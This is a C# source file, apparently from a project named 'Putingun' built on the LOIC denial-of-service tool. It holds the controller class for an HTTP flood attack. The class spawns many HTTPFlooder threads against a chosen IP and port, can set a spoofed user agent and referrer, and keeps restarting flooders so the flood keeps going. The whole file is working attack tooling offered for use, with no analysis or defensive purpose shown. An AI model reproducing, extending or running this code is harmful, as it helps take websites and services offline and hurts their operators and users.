﻿// ------------------------------------------------------------------
// DO NOT REMOVE THIS LINES IN ANY TIMES WILL BE.
// Original author: agehack
// Project name: Putingun
// ------------------------------------------------------------------

using System;
using System.Collections.Generic;
using System.Timers;
using LOIC;

namespace Putingun
{
    public class PvdAttack
    {
        private List<HTTPFlooder> Threads = null;
        public bool IsActive = false;
        public bool IsSleeping = false;
        private Timer tmrSleep = null;

        public readonly System.Net.IPEndPoint IP = null;
        public bool Response = false;
        public int Delay = 1000;
        public int Timeout = 9001;
        public string HttpSubsite = "/";
        public string HttpHost = null;
        public string HttpUserAgent = null;
        public string HttpReffererUrl = null;
        public bool HttpConnectionKeepAlive = false;
        public bool HttpHeaders = false;

        public PvdAttack(int threads, string ip, int port)
        {
            IP = new System.Net.IPEndPoint(System.Net.IPAddress.Parse(ip), port);
            Threads = new List<HTTPFlooder>(threads);
            for (int i = 0; i < threads; i++)
                Threads.Add(new HTTPFlooder(this, IP));

            tmrSleep = new Timer();
            tmrSleep.AutoReset = false;
            tmrSleep.Enabled = true;
            tmrSleep.Elapsed += new ElapsedEventHandler(tmrSleep_Elapsed);
        }
        void tmrSleep_Elapsed(object sender, ElapsedEventArgs e)
        {
            IsSleeping = false;
        }
        public void Start()
        {
            if (IsActive && IsSleeping)
            {
                IsSleeping = false;
                tmrSleep.Stop();
                return;
            }
            if (Threads == null)
                throw new ApplicationException("Not ready!");
            if (IsActive)
                throw new ApplicationException("Already flooding ya idiota!");

            if (GetActiveCount() > 0)
                throw new Exception("Some sockets are still alive. Wait a moment and try again.");

            IsActive = true;
            IsSleeping = false;
        }
        public void Stop()
        {
            tmrSleep.Start();
            IsActive = IsSleeping = false;

            foreach (HTTPFlooder f in Threads)
                f.Stop();
            Threads.Clear();
        }
        public void Sleep(int seconds)
        {
            if (IsSleeping)
                return;

            tmrSleep.Interval = seconds * 1000;
            tmrSleep.Start();
            IsSleeping = true;
        }

        public int GetActiveCount()
        {
            int i = 0;
            if (Threads != null)
                foreach (HTTPFlooder f in Threads)
                    if (!(f.State == ReqState.Completed || f.State == ReqState.Ready || f.State == ReqState.Failed))
                        i++;
            return i;
        }
        public int[] Update()
        {            
            int statFailed = 0;
            int statDownloaded = 0;
            int statRequested = 0;
            int statBad = 0;
            int iRequesting = 0;
            int iConnecting = 0;
            int iDownloading = 0;
            int iIdle = 0;

			for (int a = 0; a < Threads.Count; a++)
			{
                HTTPFlooder httpFlooder = (HTTPFlooder)Threads[a];
				statDownloaded += httpFlooder.Downloaded;
                statRequested += httpFlooder.Requested;
                statFailed += httpFlooder.Failed;
                statBad += httpFlooder.Bad;
				switch (httpFlooder.State)
				{
					case ReqState.Ready:
					case ReqState.Completed:
						{
							iIdle++;
							break;
						}
					case ReqState.Connecting:
						{
							iConnecting++;
							break;
						}
					case ReqState.Requesting:
						{
							iRequesting++;
							break;
						}
					case ReqState.Downloading:
						{
							iDownloading++;
							break;
						}
				}
                if (IsActive && !IsSleeping && !httpFlooder.IsFlooding)
                {
                    int iaDownloaded = httpFlooder.Downloaded;
                    int iaRequested = httpFlooder.Requested;
                    int iaFailed = httpFlooder.Failed;
                    int iaBad = httpFlooder.Bad;
                    httpFlooder = new HTTPFlooder(this, IP)
                    {
                        Downloaded = iaDownloaded,
                        Requested = iaRequested,
                        Failed = iaFailed,
                        Bad = iaBad,
                    };
                    httpFlooder.Start();
                    Threads[a] = httpFlooder;
                }
			}
            return new int[] { statRequested, statDownloaded, statFailed, statBad,
                iRequesting, iConnecting, iDownloading, iIdle };
        }
    }
}
